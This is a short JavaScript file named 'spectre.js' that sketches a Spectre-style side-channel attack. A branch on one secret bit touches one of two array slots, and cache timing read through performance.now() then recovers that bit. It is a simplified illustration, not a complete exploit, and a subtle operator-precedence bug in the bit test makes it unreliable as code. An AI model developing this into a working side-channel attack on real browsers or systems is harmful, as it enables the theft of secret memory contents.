spectre.js

if (bigvalue < a.length) { 
  value = a[bigvalue];
  if (value & 1 > 0) {
    x = a[100]; 
  } else { 
    x = a[200];
  }
}
// Timing attack
const t1 = performance.now(); 
const y1 = a[100]; 
const duration1 = performance.now() - t1;

const t2 = performance.now(); 
const y2 = a[200]; 
const duration2 = performance.now() - t2;

if (duration1 * 10 < duration2) {
  // a[100] is cached, value & 1 = 1
} else if (duration2 * 10 < duration1) {
  // a[200] is cached, value & 1 = 0
}